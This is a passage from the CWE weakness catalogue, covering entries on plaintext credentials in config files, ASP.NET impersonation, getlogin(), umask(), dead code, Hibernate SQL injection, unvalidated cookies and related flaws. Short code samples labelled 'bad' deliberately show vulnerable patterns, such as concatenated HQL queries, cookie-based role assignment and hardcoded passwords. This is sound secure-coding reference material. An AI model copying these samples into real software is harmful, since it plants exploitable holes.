Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		522	Insufficiently Protected Credentials	1091

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

Potential Mitigations

Phase: Architecture and Design

Do not hardwire passwords into your software.

Phase: Architecture and Design

Use industry standard libraries to encrypt passwords before storage in configuration files.

Demonstrative Examples

Example 1:

Below is a snippet from a Java properties file in which the LDAP server password is stored in plaintext.

Example Language: Java *(bad)*

```
webapp.ldap.username=secretUsername
webapp.ldap.password=secretPassword
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	1880
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	1940

CWE-556: ASP.NET Misconfiguration: Use of Identity Impersonation

Weakness ID : 556 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

Configuring an ASP.NET application to run with impersonated credentials may give the application unnecessary privileges.

Extended Description

The use of impersonated credentials allows an ASP.NET application to run with either the privileges of the client on whose behalf it is executing or with arbitrary privileges granted in its configuration.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	266	Incorrect Privilege Assignment	580

Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity	

Potential Mitigations

Phase: Architecture and Design

Use the least privilege principle.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	723	OWASP Top Ten 2004 Category A2 - Broken Access Control	711	1875
MemberOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	1880
MemberOf	C	951	SFP Secondary Cluster: Insecure Authentication Policy	888	1936

CWE-558: Use of getlogin() in Multithreaded Application

Weakness ID : 558 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The application uses the getlogin() function in a multithreaded context, potentially causing it to return incorrect values.

Extended Description

The getlogin() function returns a pointer to a string that contains the name of the user associated with the calling process. The function is not reentrant, meaning that if it is called from another process, the contents are not locked out and the value of the string can be changed by another process. This makes it very risky to use because the username can be changed by other processes, so the results of the function cannot be trusted.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	663	Use of a Non-reentrant Function in a Concurrent Context	1290

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data	
Access Control	Bypass Protection Mechanism	
Other	Other	

Potential Mitigations

Phase: Architecture and Design

Using names for security purposes is not advised. Names are easy to forge and can have overlapping user IDs, potentially causing confusion or impersonation.

Phase: Implementation

Use getlogin_r() instead, which is reentrant, meaning that other processes are locked out from changing the username.

Demonstrative Examples

Example 1:

The following code relies on getlogin() to determine whether or not a user is trusted. It is easily subverted.

Example Language: C *(bad)*

```
pwd = getpwnam(getlogin());
if (isTrustedGroup(pwd->pw_gid)) {
    allow();
} else {
    deny();
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	227	7PK - API Abuse	700	1853
MemberOf	C	1001	SFP Secondary Cluster: Use of an Improper API	888	1959

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Often Misused: Authentication
Software Fault Patterns	SFP3		Use of an improper API

CWE-560: Use of umask() with chmod-style Argument

Weakness ID : 560 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The product calls umask() with an incorrect argument that is specified as if it is an argument to chmod().

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	V	687	Function Call With Incorrectly Specified Argument Value	1335

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	
Access Control	Bypass Protection Mechanism	

Potential Mitigations

Phase: Implementation

Use umask() with the correct argument.

Phase: Testing

If you suspect misuse of umask(), you can use grep to spot call instances of umask().

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	946	SFP Secondary Cluster: Insecure Resource Permissions	888	1934

Notes

Other

The umask() man page begins with the false statement: "umask sets the umask to mask & 0777" Although this behavior would better align with the usage of chmod(), where the user provided argument specifies the bits to enable on the specified file, the behavior of umask() is in fact opposite: umask() sets the umask to ~mask & 0777. The umask() man page goes on to describe the correct usage of umask(): "The umask is used by open() to set initial file permissions on a newly-created file. Specifically, permissions in the umask are turned off from the mode argument to open(2) (so, for example, the common umask default value of 022 results in new files being created with permissions 0666 & ~022 = 0644 = rw-r--r-- in the usual case where the mode is specified as 0666)."

CWE-561: Dead Code

Weakness ID : 561 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software contains dead code, which can never be executed.

Extended Description

Dead code is source code that can never be executed in a running program. The surrounding code makes it impossible for a section of code to ever be executed.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	1164	Irrelevant Code	1721
CanFollow	B	570	Expression is Always False	1147
CanFollow	B	571	Expression is Always True	1150

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	1961

Weakness Ordinalities

Indirect :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation *Dead code that results from code that can never be executed is an indication of problems with the source code that needs to be fixed and is an indication of poor quality.*	
Other	Reduce Maintainability	

Detection Methods

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.) Formal Methods / Correct-By-Construction Cost effective for partial coverage: Attack Modeling

Effectiveness = High

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Highly cost effective: Binary / Bytecode Quality Analysis Compare binary / bytecode to application permission manifest

Effectiveness = High

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Automated Monitored Execution

Effectiveness = SOAR Partial

Automated Static Analysis

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Permission Manifest Analysis

Effectiveness = SOAR Partial

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Source Code Quality Analyzer Cost effective for partial coverage: Warning Flags Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

Effectiveness = High

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Web Application Scanner Web Services Scanner Database Scanners

Effectiveness = SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Manual Source Code Review (not inspections) Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness = High

Potential Mitigations

Phase: Implementation

Remove dead code before deploying the application.

Phase: Testing

Use a static analysis tool to spot dead code.

Demonstrative Examples

Example 1:

The condition for the second if statement is impossible to satisfy. It requires that the variables be non-null, while on the only path where s can be assigned a non-null value there is a return statement.

Example Language: C++ *(bad)*

```
String s = null;
if (b) {
    s = "Yes";
    return;
}
if (s != null) {
    Dead();
}
```

Example 2:

In the following class, two private methods call each other, but since neither one is ever invoked from anywhere else, they are both dead code.

Example Language: Java *(bad)*

```
public class DoubleDead {
    private void doTweedledee() {
        doTweedledumb();
    }
    private void doTweedledumb() {
        doTweedledee();
    }
    public static void main(String[] args) {
        System.out.println("running DoubleDead");
    }
}
```

(In this case it is a good thing that the methods are dead: invoking either one would cause an infinite loop.)

Example 3:

The field named glue is not used in the following class. The author of the class has accidentally put quotes around the field name, transforming it into a string constant.

Example Language: Java *(bad)*

```
public class Dead {
    String glue;
    public String getGlue() {
        return "glue";
    }
}
```

Observed Examples

Reference	Description
CVE-2014-1266	chain: incorrect "goto" in Apple SSL product bypasses certificate validation, allowing MITM attack (Apple "goto fail" bug). CWE-705 (Incorrect Control Flow Scoping) -> CWE-561 (Dead Code) -> CWE-295 (Improper Certificate Validation) -> CWE-393 (Return of Wrong Status Code) -> CWE-300 (Channel Accessible by Non-Endpoint). *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-1266*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	747	CERT C Secure Coding Standard (2008) Chapter 14 - Miscellaneous (MSC)	734	1891
MemberOf	C	883	CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)	868	1921
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	886	SFP Primary Cluster: Unused entities	888	1922
MemberOf	C	1130	CISQ Quality Measures - Maintainability	1128	1980

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	MSC07-C		Detect and remove dead code
SEI CERT Perl Coding Standard	MSC00-PL	Exact	Detect and remove dead code

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP2		Unused Entities
OMG ASCMM	ASCMM-MNT-20		

References

[REF-960]Object Management Group (OMG). "Automated Source Code Maintainability Measure (ASCMM)". 2016 January. < http://www.omg.org/spec/ASCMM/1.0 >.

CWE-562: Return of Stack Variable Address

Weakness ID : 562 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

A function returns the address of a stack variable, which will cause unintended program behavior, typically in the form of a crash.

Extended Description

Because local variables are allocated on the stack, when a program returns a pointer to a local variable, it is returning a stack address. A subsequent function call is likely to re-use this same stack address, thereby overwriting the value of the pointer, which no longer corresponds to the same variable since a function's stack frame is invalidated when it returns. At best this will cause the value of the pointer to change unexpectedly. In many cases it causes the program to crash the next time the pointer is dereferenced.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	758	Reliance on Undefined, Unspecified, or Implementation-Defined Behavior	1393
CanPrecede	C	672	Operation on a Resource after Expiration or Release	1310
CanPrecede	B	825	Expired Pointer Dereference	1523

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	1961

Weakness Ordinalities

Indirect :

Primary :

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Availability Integrity Confidentiality	Read Memory Modify Memory Execute Unauthorized Code or Commands DoS: Crash, Exit, or Restart *If the returned stack buffer address is dereferenced after the return, then an attacker may be able to modify or read memory, depending on how the address is used. If the address is used for reading, then the address itself may be exposed, or the contents that the address points to. If the address is used for writing, this can lead to a crash and possibly code execution.*	

Potential Mitigations

Phase: Testing

Use static analysis tools to spot return of the address of a stack variable.

Demonstrative Examples

Example 1:

The following function returns a stack address.

Example Language: C *(bad)*

```
char* getName() {
    char name[STR_MAX];
    fillInName(name);
    return name;
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	748	CERT C Secure Coding Standard (2008) Appendix - POSIX (POS)	734	1891
MemberOf	C	998	SFP Secondary Cluster: Glitch in Computation	888	1958
MemberOf	C	1156	SEI CERT C Coding Standard - Guidelines 02. Declarations and Initialization (DCL)	1154	1994

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	DCL30-C	CWE More Specific	Declare objects with appropriate storage durations
CERT C Secure Coding	POS34-C		Do not call putenv() with a pointer to an automatic variable as the argument
Software Fault Patterns	SFP1		Glitch in computation

CWE-563: Assignment to Variable without Use

Weakness ID : 563 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The variable's value is assigned but never used, making it a dead store.

Extended Description

After the assignment, the variable is either assigned another value or goes out of scope. It is likely that the variable is simply vestigial, but it is also possible that the unused variable points out a bug.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		1164	Irrelevant Code	1721

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	1961

Weakness Ordinalities

Indirect :

Alternate Terms

Unused Variable :

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation Varies by Context *This weakness could be an indication of a bug in the program or a deprecated variable that was not removed and is an indication of poor quality. This could lead to further bugs and the introduction of weaknesses.*	

Potential Mitigations

Phase: Implementation

Remove unused variables from the code.

Demonstrative Examples

Example 1:

The following code excerpt assigns to the variable r and then overwrites the value without using it.

Example Language: C *(bad)*

```
r = getName();
r = getNewBuffer(buf);
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	747	CERT C Secure Coding Standard (2008) Chapter 14 - Miscellaneous (MSC)	734	1891
MemberOf	C	883	CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)	868	1921
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	886	SFP Primary Cluster: Unused entities	888	1922

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	MSC00-C		Compile cleanly at high warning levels
SEI CERT Perl Coding Standard	MSC01-PL	Imprecise	Detect and remove unused variables
Software Fault Patterns	SFP2		Unused Entities

CWE-564: SQL Injection: Hibernate

Weakness ID : 564 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

Using Hibernate to execute a dynamic SQL statement built with user-controlled input can allow an attacker to modify the statement's meaning or to execute arbitrary SQL commands.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	187

Relevant to the view "Weaknesses in OWASP Top Ten (2013)" (CWE-928)

Nature	Type	ID	Name	Page
ChildOf	B	89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	187

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity	Read Application Data Modify Application Data	

Potential Mitigations

Phase: Requirements

A non-SQL style database which is not subject to this flaw may be chosen.

Phase: Architecture and Design

Follow the principle of least privilege when creating user accounts to a SQL database. Users should only have the minimum privileges necessary to use their account. If the requirements of

the system indicate that a user can read and modify their own data, then limit their privileges so they cannot read/write others' data.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Implementation

Implement SQL strings using prepared statements that bind variables. Prepared statements that do not bind variables can be vulnerable to attack.

Phase: Implementation

Use vigorous allowlist style checking on any user input that may be used in a SQL command. Rather than escape meta-characters, it is safest to disallow them entirely. Reason: Later use of data that have been entered in the database may neglect to escape meta-characters before use. Narrowly define the set of safe characters based on the expected value of the parameter in the request.

Demonstrative Examples

Example 1:

The following code excerpt uses Hibernate's HQL syntax to build a dynamic query that's vulnerable to SQL injection.

Example Language: Java *(bad)*

```
String street = getStreetFromUser();
Query query = session.createQuery("from Address a where a.street='" + street + "'");
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1953
MemberOf	C	1027	OWASP Top Ten 2017 Category A1 - Injection	1026	1975

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP24		Tainted input to command

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
109	Object Relational Mapping Injection

CWE-565: Reliance on Cookies without Validation and Integrity Checking

Weakness ID : 565 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The application relies on the existence or values of cookies when performing security-critical operations, but it does not properly ensure that the setting is valid for the associated user.

Extended Description

Attackers can easily modify cookies, within the browser or by implementing the client-side code outside of the browser. Reliance on cookies without detailed validation and integrity checking can allow attackers to bypass authentication, conduct injection attacks such as SQL injection and cross-site scripting, or otherwise modify inputs in unexpected ways.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	602	Client-Side Enforcement of Server-Side Security	1200
ChildOf	C	642	External Control of Critical State Data	1257
ParentOf	V	784	Reliance on Cookies without Validation and Integrity Checking in a Security Decision	1456

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	669	Incorrect Resource Transfer Between Spheres	1307

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1020	Verify Message Integrity	1974

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1214	Data Integrity Issues	2014

Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity *It is dangerous to use cookies to set a user's privileges. The cookie can be manipulated to escalate an attacker's privileges to an administrative level.*	

Potential Mitigations

Phase: Architecture and Design

Avoid using cookie data for a security-related decision.

Phase: Implementation

Perform thorough input validation (i.e.: server side validation) on the cookie data if you're going to use it for a security related decision.

Phase: Architecture and Design

Add integrity checks to detect tampering.

Phase: Architecture and Design

Protect critical cookies from replay attacks, since cross-site scripting or other attacks may allow attackers to steal a strongly-encrypted cookie that also passes integrity checks. This mitigation applies to cookies that should only be valid during a single transaction or session. By enforcing timeouts, you may limit the scope of an attack. As part of your integrity check, use an unpredictable, server-side value that is not exposed to the client.

Demonstrative Examples

Example 1:

The following code excerpt reads a value from a browser cookie to determine the role of the user.

Example Language: Java *(bad)*

```
Cookie[] cookies = request.getCookies();
for (int i =0; i< cookies.length; i++) {
    Cookie c = cookies[i];
    if (c.getName().equals("role")) {
        userRole = c.getValue();
    }
}
```

It is easy for an attacker to modify the "role" value found in the locally stored cookie, allowing privilege escalation.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	949	SFP Secondary Cluster: Faulty Endpoint Authentication	888	1935

Notes

Relationship

This problem can be primary to many types of weaknesses in web applications. A developer may perform proper validation against URL parameters while assuming that attackers cannot modify cookies. As a result, the program might skip basic input validation to enable cross-site scripting, SQL injection, price tampering, and other attacks..

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP29		Faulty endpoint authentication

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
31	Accessing/Intercepting/Modifying HTTP Cookies
39	Manipulating Opaque Client-based Data Tokens
226	Session Credential Falsification through Manipulation

CWE-566: Authorization Bypass Through User-Controlled SQL Primary Key

Weakness ID : 566 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The software uses a database table that includes records that should not be accessible to an actor, but it executes a SQL statement with a primary key that can be controlled by that actor.

Extended Description

When a user can set a primary key to any value, then the user can modify the key to point to unauthorized records.

Database access control errors occur when:

- Data enters a program from an untrusted source.
- The data is used to specify the value of a primary key in a SQL query.
- The untrusted source does not have the permissions to be able to access all rows in the associated table.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	639	Authorization Bypass Through User-Controlled Key	1251

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	1965

Applicable Platforms

Technology : Database Server *(Prevalence = Often)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
Integrity	Modify Application Data	
Access Control	Bypass Protection Mechanism	

Potential Mitigations

Phase: Implementation

Assume all input is malicious. Use a standard input validation mechanism to validate all input for length, type, syntax, and business rules before accepting the data. Use an "accept known good" validation strategy.

Phase: Implementation

Use a parameterized query AND make sure that the accepted values conform to the business rules. Construct your SQL statement accordingly.

Demonstrative Examples

Example 1:

The following code uses a parameterized statement, which escapes metacharacters and prevents SQL injection vulnerabilities, to construct and execute a SQL query that searches for an invoice matching the specified identifier [1]. The identifier is selected from a list of all invoices associated with the current authenticated user.

Example Language: C# *(bad)*

```
...
conn = new SqlConnection(_ConnectionString);
conn.Open();
int16 id = System.Convert.ToInt16(invoiceID.Text);
SqlCommand query = new SqlCommand( "SELECT * FROM invoices WHERE id = @id", conn);
query.Parameters.AddWithValue("@id", id);
SqlDataReader objReader = objCommand.ExecuteReader();
...
```

The problem is that the developer has not considered all of the possible values of id. Although the interface generates a list of invoice identifiers that belong to the current user, an attacker can bypass this interface to request any desired invoice. Because the code in this example does not check to ensure that the user has permission to access the requested invoice, it will display any invoice, even if it does not belong to the current user.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	994	SFP Secondary Cluster: Tainted Input to Variable	888	1957

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP25		Tainted input to variable

CWE-567: Unsynchronized Access to Shared Data in a Multithreaded Context

Weakness ID : 567 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The product does not properly synchronize shared data, such as static variables across threads, which can lead to undefined behavior and unpredictable data changes.

Extended Description

Within servlets, shared static variables are not protected from concurrent access, but servlets are multithreaded. This is a typical programming mistake in J2EE applications, since the multithreading is handled by the framework. When a shared variable can be influenced by an attacker, one thread could wind up modifying the variable to contain data that is not valid for a different thread that is also using the data within the variable.

Note that this weakness is not unique to servlets.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	820	Missing Synchronization	1512
CanPrecede	B	488	Exposure of Data Element to Wrong Session	1040

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	557	Concurrency Issues	1869

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Read Application Data Modify Application Data DoS: Instability DoS: Crash, Exit, or Restart *If the shared variable contains sensitive data, it may be manipulated or displayed in another user session. If this data is used to control the application, its value can be manipulated to cause the application to crash or perform poorly.*	

Potential Mitigations

Phase: Implementation

Remove the use of static variables used between servlets. If this cannot be avoided, use synchronized access for these variables.

Demonstrative Examples

Example 1:

The following code implements a basic counter for how many times the page has been accesed.

Example Language: Java *(bad)*

```
public static class Counter extends HttpServlet {
    static int count = 0;
    protected void doGet(HttpServletRequest in, HttpServletResponse out)
    throws ServletException, IOException {
        out.setContentType("text/plain");
        PrintWriter p = out.getWriter();
        count++;
        p.println(count + " hits so far!");
    }
}
```

Consider when two separate threads, Thread A and Thread B, concurrently handle two different requests:

- Assume this is the first occurrence of doGet, so the value of count is 0.
- doGet() is called within Thread A.
- The execution of doGet() in Thread A continues to the point AFTER the value of the count variable is read, then incremented, but BEFORE it is saved back to count. At this stage, the incremented value is 1, but the value of count is 0.
- doGet() is called within Thread B, and due to a higher thread priority, Thread B progresses to the point where the count variable is accessed (where it is still 0), incremented, and saved. After the save, count is 1.

- Thread A continues. It saves the intermediate, incremented value to the count variable - but the incremented value is 1, so count is "re-saved" to 1.

At this point, both Thread A and Thread B print that one hit has been seen, even though two separate requests have been processed. The value of count should be 2, not 1.

While this example does not have any real serious implications, if the shared variable in question is used for resource tracking, then resource consumption could occur. Other scenarios exist.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	852	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 9 - Visibility and Atomicity (VNA)	844	1906
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	986	SFP Secondary Cluster: Missing Lock	888	1951
MemberOf	C	1142	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 08. Visibility and Atomicity (VNA)	1133	1988

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	VNA00-J		Ensure visibility when accessing shared primitive variables
The CERT Oracle Secure Coding Standard for Java (2011)	VNA02-J		Ensure that compound operations on shared variables are atomic
Software Fault Patterns	SFP19		Missing Lock

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
25	Forced Deadlock

CWE-568: finalize() Method Without super.finalize()

Weakness ID : 568 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The software contains a finalize() method that does not call super.finalize().

Extended Description

The Java Language Specification states that it is a good practice for a finalize() method to call super.finalize().

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		573	Improper Following of Specification by Caller	1153
ChildOf	B	459	Incomplete Cleanup	978

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation	

Potential Mitigations

Phase: Implementation

Call the super.finalize() method.

Phase: Testing

Use static analysis tools to spot such issues in your code.

Demonstrative Examples

Example 1:

The following method omits the call to super.finalize().

Example Language: Java *(bad)*

```
protected void finalize() {
    discardNative();
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	850	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 7 - Methods (MET)	844	1904
MemberOf	C	1002	SFP Secondary Cluster: Unexpected Entry Points	888	1960
MemberOf	C	1140	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 06. Methods (MET)	1133	1987

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	MET12-J		Do not use finalizers
Software Fault Patterns	SFP28		Unexpected access points

CWE-570: Expression is Always False

Weakness ID : 570 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software contains an expression that will always evaluate to false.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
